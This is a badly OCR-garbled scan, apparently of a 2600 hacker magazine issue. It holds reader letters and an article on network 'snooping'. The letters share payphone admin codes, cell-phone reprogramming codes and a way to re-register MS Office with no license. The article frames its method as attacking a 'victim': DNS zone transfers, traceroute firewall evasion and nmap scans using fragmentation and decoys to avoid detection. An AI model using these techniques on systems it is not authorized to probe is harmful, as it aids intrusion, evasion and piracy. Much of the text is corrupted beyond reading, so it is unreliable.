r epeak gbout® That George Bush isnT vory sman?
That anpoce with a0 I} prena than that of 2 dng
shovahd b gl 1 ke i o the £ 125,000 [avel ron Who
Wty to Be a Milliomarea ?

Thave princed 4 1 teal of the SDAE article frony
arypiancong anl [ will be harding cur copics in this
smal] bomm in the apper peninsela of Michigan - Toon-

o wooed, M, pog. 3000, [ am nol joking here. Cnme poy

the gugers from my fingers. Came pog your beavy
hard cwer ray meaurt. 1 gepe all IT posfesssonals toda
che st o hic woociawns across Ameriez Tske g

t..&ua..._.. E

Bl Ege g8 Td fe s sThomes
Bl T B8 B Aol T,
humma = .m...”.._.mM..”..u. [ = = R
Dhear Jiakd:

T wther Say my moen and 1 wers @ a Kroger
store. Bhe used the 1-5aan fuing and she dropped ber
cradit card inga it fdan’l ask bowl Sooche poy came
and openid 3 up and T maraged m ger 8 besed look it
it. [rom what 1 saw, ir bk ed kG o poomal cash regis-
ter ina Ay el foo Ges facl thae it hed 2 suckie Mi-
aradoll [nlellidoese atrached. | oplan w0 po beck 1o

i wpen it and see if 1 can fiod aol s aboot e svstzm.

By the way, an casy way kropen it i 1o ke off fe
thirg thal woo sel yoar groceniss oo when thi pus 3aa7]

LarcrBeami
INrmonning rrore eguiptsesr an he misiniee
prefed GF a BoeLriendl oy
Dear 2600,
Fuior a loog time s bezn semeafar Jifien) o lind
2 decend pon scanned fox e Mac operating system, T
2vennally bad to (a0l back and nen ans on oo emlansd
wirsdon of Winkiows 98, Lasr week | pod my gicw Gapy

1 oof Mac 008 X, which js peally @ Unis-hased sycem
| calied Dacwin that bas 2 Mecintosh GUELL As §owas
| bovaing Crough its syszam unhings, [wes swprised

to End chat Apple had includied a boili-in port scanrer
o their sxalen sellwars. But [ puess that's kinda whar
yetl vapect from 2 company so-foondad by a phone
phreak.

ryana’

e 2Ed:

Assoime of Yo mighl Bnow, iF yoa come across a
pay phooe with a Hide soreen oo ic, weu can enmes se-
cilke codes that cao varn oft the: pay phooss ol s0 on.

| Ta get s e main sweon, simply gpe 2027308
Uooand A weEsage will appear askime poa far sesiher

. I veu punch im 5-5-5-5-5, 5 ahoi will be un-

asahl; (o lbe pext three minstss. Thers ars nany
wlur cpdes Dot I am ned gaing ta publisk Gieon. Yoo
cam have fins ewssing aroued and Sguring oot el the
furt kings yoa can do chzd Telus zhe phans copay
im Vamoommver) dos Dar =ant Vi i,

Cyrus

Ard apperersis vou o8 Wil ud 2 eliker since
e e AT pieing wi SAe cesl of $he codes. e ke o
ki what efss you can de. The number vou give Loy
swipdciausly Iike @ regular phume wmamber, Hove vou
avied cvdlicg this frows o phons wiliowd a sereen? In
fen Yord, rams central affices kave a wive smethod of
GV e b WUAG O varetior of e BTE AN
famler, Nera) innteed af dicling $55 fe kear yioer sum-
b read back, many pesple bave e duid SR50 INaling
WRES dinafdes the phoves ey phone or nef; far @ coe-
o ol mminwtes, There ar vaneanes o this depesding
AN ESRT ana
Thear 260;

A pode abour MS Office 20K Profissioon] (and
poadably ather verskans), Onde you install it vea can
il i1 50 times belfors you most repiseer 2. 1F w00
vheazes 1o regisier by phone, the instzller pives oo e
EO0 number o eall gl an glpkanuencdic cods o resd
1o the WS sirvice mop. The servics rep teen pives poa
&1 alpranumearic code hack, Yo 1P @ in, and vou’re
registersd. ['ve soccesefully regisiened the szma ver-
sbvay of D lice (oo license) a dozen times o moee in
thix [ashicn with & different onds sach i, 1 don™t
Emow ahowt onlise of ¢-mail registmation, bat phone
TERIEIFAr g b be podhing moce than a seovice
rip wilth 2 phone and a keygen prosaeam.

Morn_Stor
Dear 2600,

Last summer [ was oo vacarion in Chivsgo, §ama
hig spoms fan and s wsily amosed with theme
resrarantiz, w0 1 wenl bo e ESPN Fone s,
Wik wailing For 2 table Tsaw a soimpesdar moniter in
sile a pillar in the wiiting arge [ weal o check i s
and rezhzad i wes 2 ouch sersen compuer sannesied
1 Wb Infarmet. [t aas on the ESEN sl sine 2od here
wasn'l moch you eculd oo shout 3L Thers was mo
mavasz, nr ksvteand, and oo way of prmng s ans-
thing nol on e webk page, oo oo they twaoght Thew
hzd the screen maximized 1o e point where it was e
anly thing oo Cw: cxonitor, | decided o check aur e
sl ginee [ had Goe 1o kil §was oot Kogarmcs parl
when [s2w 2 lind w3 skster web page. T ook the link
and then ook & link on that page, only e nesr pape
thell ¢ame Up wase't moxicnizad, Mew 1 ogol a bar
womosd the top af fe saneen oo e noe pape. This bar
had mics cgiicns, like Hisory, Faverites, and nwny
e, il e mas interssing wis e icen foc VB
Compurar.” This was god.

1 srasmeadl e bk around a Bigle a0 what ey had oo
therir swkem, There was @ bor. 17 was Cull af stulf, But ]
s cert o e - 1 had 10050 e amd wan't really w3l
g B A0 mny vecation By being kbicked o of the
tistaurnl [ hope sommeone will check this o Too e
if th=y are in tawn. | have 3 foeling that this comguter
i5 cranecrsd e the main computer of the rescascane
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- .. Ar fang GF pru e deinn enterimined, say thaadd be
- Dhesar 26K

[ssue Problems
D 26000

- puilty partics og 11E suz you!

Son B wned e bove o rral problem

i

_lu...lmﬂl :
; ..”a_rmiw.u.lu..ﬁ likes TEEW Fone rharn rolics vo cussomer
T pmertainnent by television and musdc, this ceuid be
oo o ook b k0 contned of the whade place,

ShorpivsDeath

- The aabed iy [l o place a c2ll o eecharical sup-

- part for my ATET cell phone | had jus coceived 2 re-
~placzment phane ihe eriging phome books lass rhen

pava moanthes sl 1 loazghl b, Tnoorder o ransfer ser-
vice fram ke old phone oo che new ooe, the toch sup-

Cport gy antemprend we send ool sorme kind of crenegl
~gigmall bt Bor wbstever reason 4 dica't go through. 11e

1hen insirocied me toenter o sequiencs of bevs in ooder

‘o CanveErt B pfne o work with my precksling

gmmber. The code ke gave me was 20411154, fol

“wed by send The phoos then asked for a sacurine

cudz, which, In the grand redition of secariny eodics,
was a long siiing of zeros. T wes then presenbed with a
prompe 2xking for e cow pymber and T encered the

gt bl el phone kad weed. TF rhis neally does
“weork L wea it looks Hke iz does, s would sesm e
Cpresent some very infecsiing possbilices for pengls

witd want i mcis around aith thedr cell phoesss
: Losas s

-
= " Sy
..H. ™ ..n.n B B J....... .“un.r..
' o o ] Lo ...r ..r .-.r
L il ot wERAE R
..

-
& T

U'we hzd ir. 26060 has ool 1o sbop the .vpm,,m. T psh-

..nn_._._ of 1 will camee]l my subszmption. 1 sssan i all

startia) back in 164 with “Winrer 1999-18007, 171

" wih “Spring 07, 1713 with “Summer 150007, 1753

with “Fzll ", 17:4 with 2 Black cur, and 15:1 with 2

hinz cut, L ax a sooewhar loval and paying sube

seriber, demand the innediale repretension of the

doug
Tt been woavkicg on ihis probion for guite o

- MR A we v acieeliE cogired St cownecn R e

ARET iy well in advance @ epe ¥ in g secars place,

(EReve T realiy neching vlee 1Rt con po wrang,

Erecontly pot a stack of So0 ek issues (five
Years” worlhl When Logened 14:3, 1 found a coaple of
ER05 papes in e ciddle thar were ner peoocly sla-
phad i, | sovone is missing pege: 77 through 34, T

Ferve your extro poges hene, D't worrs, My copy bas

Boch the cozingls and the looss Len 1 @an's imdas
i & PEEes

1 [ i
ol things ke
IR, including Bank pages. I yow peda defecive Bk

e, fun rewd I Back co e ond we'll gor o roplace.

FEENT cxer Fphr dveny,
Dear 2o
oot ghould have Backed sul“Page 317 oo page 53

L REgR YAprieg FHLT as well. To jusr seens finling,
- One thing | cockn't figare out, why was “Lellers” 6
L R TR g M For poce] masure. wonld yoao

alsa back vyt “Fage 7" on paga 77
Jizzbrg
Thera s efipolutely nsthing fanny abous @ biacied
ol prige, SME standy for "Skae Mestiae Fercice, "

. ._...v.ﬁ.m_ _.H.“u.__m...u__ln_.a i LS e,

et R W T

Ao B Ve et N
Wﬁh&ﬁﬂﬁ Eratives .

pearzen:  SAALETICITUIVES
Cockxening the growing ineffecnvesess of Mup-
ST, YOU PUFS miwk! Endew abiul the many otber peer-
bopeer netwdrks oul there, right? T ose Bearsfaog 1o
Roas e goantella netwoek fiom wbich [ can doan
load softwere, codyies, tcal Bles, music files, whessver
=i ir's in o hard drive, you con shee it 1 Rav Bad ng
pudblem ocaring pon-mainseam music on gnusella,
In fzee, Fve Baond lots of rare live ond soodip snedr
frem 8l Rimds of noc-rsinsreant Bocds (Skinmy
Puppy, EMFOM, Treobhing Goistle, ete.). You can
zlso ger your standand Eilly Teel and Rilly Teind e
bur eny point 35 vou car 2ot magiking rou wosn Flus,
thers is no Ycentral figio™ poverning the “netwerk” -
it kimca rernins oos of teoronis cells e wey e -
wors works, [ cennat be bevexghi 1o aoard, i canmed be
uppod. To antemps v di s wonld be 24 shepid ws say-
ing T’ s 10 s dhe Intermes.”

Shawn
i wali e derevering 1o see iF the recond companier

VT AN e St e wiliad SRey waaer IF w0 fonger

“pasiibie and thar they will kanve 1o eeliuw Bl riratagy
Py orgder fa surive Toue wrelery of e ner ie @ ierae-
sk cell &5 o bir diviresviog though aad plapr infg the
barndy ol Wese whe want & fegiidnte every srpect of it
Fow ..una._“_.ﬂ.m._u__,.u_...w.“_.wﬁ.:....h.. = &

ol ol el ot o
Du.__hhuw-..ﬁﬁ.‘m.m._.hqmm\ Akt .n.....-.w.....-...w..m“.,.._-ﬂ,... i
Ihar 2d:

This is i repard 1 yous neply bo PEE33TT iy 13:1,
17 nzany ceszonable people are, a5 you say, sickened by
e pruliferabon of guns i gue secicly, yow most re-
mernher ccher senscaabls poopls are sickensad by the
preddeation o some of the information contsned in
JEKL Both sides are guiliy of shalliow thinkicg end of
demonizng tree roeal instead of s misuze. AFar all, in-
fewinarion, like 3 pur is a Leol. Boching e,

Eab

Wi beg oo differ M information 15 Sl Lo o
gan ot i5 o wpwe e weapew, the arhee i o visually
urdimiten! fovom o eapresnisn Cne kes frite posaihil-
sier and rhe ocher 55 byfinie in seope. Feaple whe wanr
o el infprmlaiion pers a fizr grearee rivk jo a jree
HOCEEDy Phom MRoEs WED WERT weapany o be Aomdiad
respansibly,. And mund fres pocienies porsiostely
ER.

Uhar Z600:

1 have ore guemion. When will 2500 g0 back e
heing 3 magarinchonmnization shour echeokene?
Ervir dinve the Eevin thing, your samasine has besn
zalhing bt a lzgel rmazazice 1 will be the st o sgy
that the legal s arg important, bes it s 1 ome
wit v st Wrack om the read condent of the magesine.

-.o.ﬂ o
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Why can’t D560 maizfan e level of weehnsiagy in-
toemnstion and add the lepal news @ their web st |
perzonally thick thar 20 can make more money o
suppom o fight i the magasine was o anaieass: sales
hy acdies mors sachoology hased corezt. [ perammdly
chr ok purciieas Vs rugazice anynane becze oves
half the mzgarize is oa the lepsl Booes whih | oan
=l A www, AEE o,
Soeve
Fow o sfumest wou wan Yt see vanr feier thew Wi've
Aty focweed on dhe ek ik ane of IMpOeAce e
ti Rumrieer crmmaniy and we v aline 5o o hacke e
prrgprciive. T pekee of ko Saing ohiy i {gnerance,
Ang ke canror aford b Be Junedand o Rack IMsnrsanr
reenes Wiile we pahlidh semce mederial on the Jeoal
fapremings we don T Eafivve Ik shanged she seenai]
toes of the gine, The vasl majoniy of oue pages i
el woitk Loy srenifis secknalege F they diced, oor-
Nﬁ_..-.ﬂ.n. Amerdrwautda t e 5o plised off a2 ns

An Idea
"Dear 2660:

S 1 haesto register my car i Mew Yook Sl
thifd e mn_“_._w_m._._.,a...._ pares, 1 theazhe 1 wnubd be morz
petitical. Om) the DAYy wels @10 yoak Can Pk any-

thing: m.w.n if it is tzken. Think of swencthing et
.....Fhm.ﬁ..: a4 pEssap: and a meaning, lize “TE
M EAAITIDCSE™, “FREKEVINT, o “RLAME (R
Espryre can muake a saremend pow just by driviog
[l =Tl o

My Mame ks Joot

The e slee, Inciaenrchy. 23
WA B A wiSplares Az
%8 hife,
Voter Hducation MR

Drear 2600 Loy WAL R PR

[ am sure thar te reacders of 250 wedsd Do inter-
sl 16 knew whis an elecironic voling mading B
fke. In Koox Couty, Tenngsses, e vabng mackines
ars abecrronic, pronide an audil il G oo, and the
el Trombde rar they have given was reocd oA koo
plug oo a BT in the eleesice cifice while wflying the
wotes. | was 2 judge’poll worker e a few years, sanp-
ping whin [ehanged joies 2nd couldn™t gel ofl with pay
com Clecticn Dy, Fupor balkn: arz olso available, b
are lisile umed

Eirsl oif all, the election mackines wrigh 200-3K
pounds, sa lhew arc o0l ey e eove. The mackines
fave erooe ondes nd thers are lecludcians available for
phene s and on site service of replacecia. The
mackines are poreceid by & grlug bnthe wall, b has a
npstery bockup thar allows dhene b cpess sghr bours
- 3z pealls ace open for 12 Bours on Bleclon Day, Thay
hzve a buill-in m-..mn_“ﬂ._.. ichreal write-roce MEMmoTy,
ard a deinchanle memory module thal <30 b reac ot
elaction Beadigaarmers. The erboard memoey hiddi 4
permzamesd reoond of cach eferron in whick the ma-
ching was nsed. The machioes, Lapes, and Semory
mislales ars ireceanle by means of serial ol
printed on the papee taps hat b5 princed by the me
chine.

The m:..c.n....._wcq.u. L wpen tha: wachivss irealves cur-
jimg f oplasrie g and pusking a wiat bubion This
causes 3 plaslie windes moapen and e mackine 1o
prine the candidate™s names amd the oftics Far which
Uuey aus ruiding on o paper tpe expossd by the Goor
The precizct supervisos and Beguablican wnd Democra
nie podpes all warck the lwpe being geinicd and, woah
the lape #1071 icgids The machine, sign the tape Lo cerlile
that the boezls for pach candadens are ren ard every
caridtidang s lisred. Anodher Bulbon is poadind amd e
machice is now roady Far aperaricn.

The eperation of the machize is singk: a0 the ma-
chiine opris poss ooschoal inoorder ba caplain e
pperzrion wany wogir Lo the case of 4 primery elec
Lo, Tk neschine pperetor pushes & Tobn o0 ek te
primary in wbieh the votar wishes 10 vole and ancihor
buren o aclivate the machins, Iy fe cose of o main
clection. e mazhine operator jud pashes 3 batie o
activale the machise, The vorer pashes bultons on Gie
frant of the machize o seleel the candictane ond an
LEE Liphea next o the selecBon, The wolor doos il
have to meke a selection for any condidare or any se
lecticen 2r 2l and can chenge & selacrian st any rime up
L e il whaen they posh the VOTE bation

When the paolls g clesd, ances plasic snp is
enr, anccher batton is pashed el e s bine gines
e ks paper rape the affices, candidale's pames, and
the vole totzls, Then e Taps i< renoved From the ma
chine. The same pecple whi signad D ape previ-
cimly sina e lepe ppzin o cerdly dhal 31wl
reodified. The tapes and famavatle memony oadules
ara thas taken 1o e ebeviion ollics acd e memory
i=arcad in A resader thee uplaads the combers taoa PO
Thee ttals i The priotad reoe ars then compared to the
rodals in e memory medubs aloog aith the seral
pianbers, When the judges end election oflfivials s
that Lhe Ltals match and the signatores sre genuine,
the soffeare then bedals the ..._u__.rm”._mwi. b aitire

prioes 15 open ra the poblic, S
i Poll YWatcher
A Call T Arms
Dheiar 260N
I was pring to seod pou an'e-

il 115, cifizers. Let us not ; icH

oy, W can unilize our special skl ind sonsna-
five manoer al 33 copducive i bESSinkaE .
fare palicy. Later, we mey ase thik 3
Tugars kegislarinn

hqﬁan_u.._......uw.._H.__.ﬁ.__nhﬁ_.”_.n..h«.._.:.a.._wx.__”..y..»:_un
vy, LT Ak ._.a___.,:.u_.u... 1y char Aocters are mod soddliers
an g feer tow indViiduationis oed froe thinding o by
inia fingedsfic nonsensy, rpaniieis of te ssurce. Fou
sfueld serianity cennider fhe effecis of ey hank-
erx e the equeivalenr of semae oing of weapew it wild
anly incrsass prransie ded oo And we fimg it ea-
sevnrly reiling char $he authonties, dhe media, cod ap
nparenily g whate ot of people in e mifiary feel 07
APE to vemtalize cies 000s dhint flor mananalisnc parpases
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: by ThinkTdnk
thinktdnk i eyherarmy.com
Anyoand all svecessful and totelligent
backs begin 2 The most basic levels. How-
gver boring and sometimes monodonous
* these “chures” may seem, Lhey really em-
“hody the differences beroacen the "elire”
- and the “script kiddie.” These chores, when
“eombined, offer e backer an espansive
knowledae of the svsem of nersork in
“guestion. This knowledze will Laler prove
“absolutely indispenzable. These chores are
et commonly known as “snooping” or
S Mfoolpniotiog.” Sovoping relers 10 Lbe
- process of obaining information abour the
- parget system Jor Jater reference during the
aciual hack. Snooping implies that the
hacker has a geonoine  intercst | in
SnerworkSsvsiems secuniy and 15070 seanch-
102 for the (fosgive me for the clichs) “'casy
= Wy oL
In this aricle T oufline sncoping
fromm the very basic to the very comples.
CAs T bepin overviewing some of the mane
‘complex parts of snooping, ¥ou may no-
Hoe that | begin o jzoore Windoss, 1've
#dded assistanes to Windore uzers in rhe
Aorm of 2 sert of footnote. [ assure vou
- this is completely identional, I you ever
Cbave the intention of becoming a serious
hacker, you must be operaling lrom
*nix box. The free-sowrce world has poo-
wided many tools tor hackers like us. At-
cteroall, wha created Linux? Seackors!!
Windoze is for those who are fascinated
CWith mind-numbing imoges and com-
plete case of use. Linux was created by
hickers for hackers. It offers Intemel
 Sonmectivity amd networking capabilities

SNOOPHNE

it |8 5

s ¢

that are wochallenged in the world of
computing today. YWith all of that said.
let™s pet spooping!

First we need 0 wentify oor target
throwch system profiling. We need o cstzab-
Lizh o goal, Good guestions o ask yourself
are "Why am T kacking this aysrem®” and
“Where should 1 be concentrating my el-
TtsT" These guestivns are absolutely nec-
casary when snooping or yoa'lb seon be
Ierst in s wealth of information about o sys-
e rhat you stll don’t wnderstand and
cen’t picoe tegether. Belicve me!

Aler we've established a0 good focal
point for our areacks we necd oo find out ox-
aclly bow mmany  domains are  associated
withonor targes system. We do this hy sim-
ply commuanding a “whoeids” gquery lrom
vour #nix shell in rhis form:

5 whois “26007

This will show the domaing thal ane
it elosely related o the oroanization and
will help podnt vou i the right divection 1o
mipre ¢learly identify wour rarcet domain.
o Windowe LISETS CilTk ke
hupivww webaiter.onm/.

Moo we nocd to Agure out cxactly what
D5 {dommmun mame svaiem server) 1s bao-
dling the fearore we'd most like to disable
or tamper with, For this, we'll siroply exe-
cule & whaots query from ous shell again in
this fashion:

% whaois 2600.com

The resales shoald give vou & vory ood
amaunt of infortoation e luding adminis-
Iralive coniact information, the  hosting
company s intormation, and the prirmary,
secondary, and fediary TONS'S associated
with the domain, respoctively. Later we'll

o
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be lookiog ot the DINS"s o decide where
fecus our altack. Windoze lisers can use a
numhar of online tools to achicve the sams
coal. by personal faverite online package
is Sum Spade which cao be sveessed at
bup-samepade org,

Mext we'll e working towands getting a
hetter defined sirectare or map of the sys-
tem in quesiion. One of the best ways to et
apood peopraphicel idea of the systemis o
execuls 3 pooe iransfer, I the admin of the
system is brain-dead encugh ned o dizable
this featere, & hacker may update the zone
databzse from lhe pomary masler. This
means Lhal vou may be able o eonmerate a
prewy fair deseription of exactly which box
i where.

Uzz the axtr command from your shell
1o update the zone database and then use
the asfroar command to read the daabase
records. You might learn a ot about this
aystem! Windoze users may choose to use
Bam Spade 1o achieve the same resuliz,

Mow we'll meed 0 map ool eetwork
stracture and possible paths into oor eroet
network. We can use fraceroute which can
b feound al (rpriTip.ee bl pov-
feacerontedar gz and is included in the
Windoze package most oficn. With this
ool we can ientily tee path of comaiung-
ciliva sel by the pedwork as well as idennfy
packet-filtering routers, fircwalls, eie. Use
the treceroute command followed by the
domain te display the resulis of (he pack-
els’ poumeys, We can asseme that if the pet-
wirk has a firewall or router that the hop
befiore the destinetion domain 15 the bonder
rouler for the entire argameaion, Remem-
ber though that rthere may ke multiple rout-
ing paths. If you get asterizks. it means that
the firewall is blocking the path of the
peschets you'ne semling, Use the -5 option in
this fashion o dodge this:

& tracerouate -5 -pS3 206.65.34.22

You can alzo vse visvalroute 17 vou are
so prapfucally nclined, Vispalmate pro-
vides a predty accurate represcniation of the
network path geographically (az o glob-
allyh

Now we move on 10 bigger and befter
things. We've determined v 2ome degroc
Lhe way the system s strecinred and poss:
hiy where firewalls and packer-filiering
routers may be Jecated, Now we'll Tgure
aun exactly wehich foatirss arc open for ex-
ploftation. We'll be using Iping and gping
o go about doing this. You can use those
tools in this manoer:

% pping 204 69 34 1 255 {to pencrate a
list of IF'= for fping}

§ pping 206 69 34 1 252 | fping -a {mn
sz if they e "alive™)

Im this case we're scanning the subner of
2002340 You have o make sure that
you use guite 3 wide cange of class Trs
when scanning the subnet UNIX scanning
should be dong with nmep (sdeniakly):
hitpiffemnstinsocurc.orgmmap.  For Win-
doze Jusers there are g few relatively decent
tols onut these:  Pinger,  SolarWinds
chttpzfeww solarwindz.oer), Wi_Fing Tra
Pack (hitpfwanecipswitchocom, T
MedScan tools Chipafwww, nwpsw.com].

11 quickly outline the basics of network
scanning,  Metwork scanning works by
sending out data “packets” called 1CMP
packels (ol the basic level) w each of the
subrets e determing i the 1P address 1=
“open’” aml “hstening” Each ool deter-
mincs whether the 1P address i= open in its
viwn  Fashion. TN explain the different
methods & 1ittle Fater

Some networks will block TCMP pack-
giz for obvious seourity reascns thoough
packei-fillerng roulers o firewells, We
*Oix users can use omap which offers TCP
gans as well as TOMT acens. Yoo may ini-
tiate the TCF scan with the -FT option aod
a ot {Iey B0

Mow that we ve decided which doamains
and TP addreszes are open for communica-
tion, we need 1o determine whick TCP aml
LI “feamures™ or applications are nunning
on our target P, what versions of theze ap
plicanons are running, &nd what 05 (opor-
aring syelern) is running. We can figure this
ot by exceuting a "port scan.” Port scan-
ning works in the differsnt ways that nef-
wirk scanning docs.
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ke ....E_u ot common scanning wechnigoe
e what is called the TCP conpect scan The

TGP connect san oporarcs by sending a

CseYNT packet to the systemn. The systam
Spesponds with a *5YN-ACE”™ packer and

the scanncr in fum responds  with an
“ACK™ pecket, This technigque is most
cornmon ard is very casily deectahle,

The second ool CcEmwmon scanoing
techmiges is what is called TOP 3Y N scan-
ping or “half-open scanning”” With hall-
‘open scanning & full connection i5a’t made.
[istesd, it completes a taro-way handshake

- with a SYN puckel i 3 SYN-ACK packet

{if the port is listening) or an RETIACK
patcket (if the port isn't listening). This

methosd 15 2 biile more wherer and is mose

~ probiably not logped.

The wher scanning methods inclode
CTCP FIN scanning, TCP X-mas tree scun-
ping. UDE scamnig, and oihers, T oaon’t re-
ally g0 into these but vou can email me

“about teemn 1 you're very cunows, (Do’
Swoary, Twon't bite. Mot for being interested
-anyway.

. There are a fow stellar wools out there for

= port scanning iocludiog UDF_Scan which

s found  in BAINT - (hoepofanew.-

Cowwdsicom),  MetCal (i Seesew W0phi-
cooomd-welddneicat),  and  PortPro oand

PortScun for Windoze (hupfwww secun-
Efocis. comd).

—We'll be using nmap because i's ab-

solutely posinvely the greatest thing o
‘ope aloap for hackers' wse and abuse

“simoe coffee, Nmap offers a wide variety of

TCF ard UDPF options when scanniog. For
SYN scanning use the -28 option follnwed
by the IP address. You can “fregment™

- Packets (oA as easily detectable by rourers)
“with the -f option. Metwork scaaning is
—achioved wath the sF opicn followed by

e [P range. We can also send docoy pack-
Chs b 1l systean with the T3 opficn which
Tollonws the TP address. How clite can this

L
mmu:..zﬂ -F 200,60, 34,22 -1
Nl sad,
Mow oo really really noed to idently

the operaling systems thal ae supporting

the target svetemn as well as e applica-
tinns. W can identify some elltale sipna-
rgs of operaling svarems with a licthe
determninzion amd homework becanse ven-
dors inteepret specific BT guidelioes dif-
Ferently when writing TOPAP stack dezigm,
For instanee, Lthe operatiog system is proba-
bly WT if ports 13% and 133 are open. TF
13% is opea hut pot 135, the svstem is prob-
dbly WINGSSE, If many applications are
rur, 15 probably some Davos of TTNIX
Some telltale open port signs of a *nix box
include the Bedkeley B services (312-314)
NS (2049), portmapper (111), and really
hich port nurmbers (like over 32000 o7 200,

Srack snooping s a powerful technigue
that will allow you ta determine cach kost’s
opersling svalerm with g good degree of
probakilicy. For more on TCFIP stack de-
sign  refer to hopeffensreeinsacure oray-
napdrap-fogerprinting-arcicle htrml.

Stack snoopang ochmles many  many
complicated methods of operaling svslem
chameration such =z FIM probing, bogus
flag probing, TAM sampling. ACK value
dizeretion, HOMP ermor message echoing in-
teerily, TO8 {vpe of service), TCT oplions,
Clc.

Mmap cmploys all of these tschnigques
with the -0 option, Make sure oo specify
the port (noemally -pa0. Remember foowp-
dats vour nmap Operaling sySEEn Signanies
o a regular basis (hllpweow I0secuTe. (g -
fegi-hin/nmap-submit.cgil.

There are a couple of other tools that |
like 1o wse n addition o amap thar make
life = lille easier al Gmes (ool always),
Creeso only does O8 detection bul doess a
grod job. Choops is an awssoms program
that provides a graphical representation of
(5 epumesalion - Cpaiasea k-
netfcheops'].

Well, mow you should have as much in-
[prmation as you'll ever get from your
*eough* victim Feough®. Have fun and al-
ways remernber Lhal soooping 15 whal sepa-
rates the clite from the Eddies.

g
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